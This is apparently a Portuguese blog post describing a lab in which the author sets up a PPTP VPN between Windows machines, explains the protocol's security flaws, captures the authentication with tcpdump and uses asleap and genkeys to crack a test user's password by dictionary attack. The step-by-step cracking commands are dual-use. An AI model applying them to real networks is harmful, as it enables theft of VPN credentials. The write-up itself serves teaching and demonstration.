Basicamente na figura acima temos duas redes (10.0.1.0/24 e 10.0.2.0/24) distintas e conectadas a um mesmo roteador Linux. A comunicação entre essas redes só é possível porque esse roteador atua como uma bridge (ponte); sendo assim temos um cenário minímo para a configuração de uma VPN. Na máquina RWindows XP (10.0.1.1) foi configurado uma nova conexão para acessar um serviço VPN que executa na maquina RWindows 2000 Server (10.0.2.1). Como foi descrito acima a única função da máquina Linux(IPs - 10.0.1.254 e 10.0.2.254) é rotear pacotes entre as duas redes; neste caso basicamente habilitamos o roteamento via kernel. Já na máquina 2000 Server (10.0.2.1) foi configurado um serviço VPN utilizando o protocolo PPTP, além da criação de um usuário para a utilização e acesso a esse serviço VPN.
Com o cenário apto para que a comunicação VPN aconteça, executamos na máquina cliente o pedido de conexão ao servidor VPN-PPTP com as credenciais do usuário criado. Após a autenticação uma nova conexão foi criada, ou seja, um túnel lógico VPN foi criado para a comunicação entre o cliente e o servidor VPN.
No momento da criação do túnel, automaticamente endereços IPs são configurados para os dois extremos, caracterizando assim uma nova rede lógica entre estes dois extremos do túnel. Neste método de configuração de VPN baseada em PPTP existem várias falhas de segurança, como por exemplo a negociação de parâmetros para o estabelecimento da conexão que é feita sem nenhuma proteção, as mensagens do canal de controle do PPTP são transmitidas sem qualquer forma de autenticação ou proteção de integridade, além do fato de que o cliente só precisa se autenticar após a conclusão do processo de estabelecimento de parâmetros. Além dos problemas do protocolo em si, existem vulnerabilidades da implementação do PPTP pela Microsoft, como por exemplo o método de armazenamento e transmissão de hashes de senhas conhecido como LANMAN, e no tamanho e processo de geração de chaves criptográficas para o serviço de cifragem.
Sabendo dessas vulnerabilidades capturei os pacotes durante uma tentativa de conexão ao servidor da VPN PPTP. Utilizei o tcpdump(http://www.tcpdump.org/) para capturar os pacotes no roteador linux, e salvei estes pacotes em um arquivo .dump .
Após estes testes, submeti o arquivo .dump ao asleap e verifiquei que ele realmente consegue decifrar as "credenciais" utilizada na autenticação da VPN baseada no protocolo PPTP da Microsoft.
A versão mais nova do asleap pode ser encontrada no site http://www.willhackforsushi.com/Asleap.html . Coloquei um tarball e um arquivo .deb (debian e derivados) do asleap, que podem ser baixados nos links abaixo:
A instalação do asleap necessita que alguns pacotes estejam instalados em seu sistema, abaixo segue a lista de pacotes:
- gcc
- make
- build-essential
- libpcap-dev
- openssl
- libssl-dev
# dpkg -i asleap-1.4.deb
Veja se a instalação ocorreu corretamente com o comando:
#asleap
Caso você baixe o tarball, siga os passos abaixo:
Descompactando com o comando:
# tar xvzf asleap-2.2.tgz
Entre no diretório criado:
# cd asleap-2.2
Rode o comando para instalar:
#make
Se tudo ocorreu bem, teste o asleap digitando o comando:
#./asleap
Após a instalação, iremos primeiramente criar dois arquivos(um .dat e outro .idx). Estes arquivos deverão ser criados de acordo com o arquivo de dicionário utilizado (neste exemplo o dicionário pode ser baixado em http://savefile.com/projects/808697518). Para criar os arquivos digite:
Ex:
#genkeys -r ARQUIVO_DE_DICIONARIO -f ARQ.dat -n ARQ.idx
#genkeys -r worldlistpt-br.txt -f dict.dat -n dict.idx
Agora podemos executar o asleap:
Ex:
#asleap -r PACOTES_CAPTURADOS -f ARQ.dat -n ARQ.idx
#asleap -r captura.pcap -f dict.dat -n dict.idx
Verificamos que o usuário com login unibratec tem a senha senha123.
Acho que esse post já ficou longo demais!! =D
Nenhum comentário:
Postar um comentário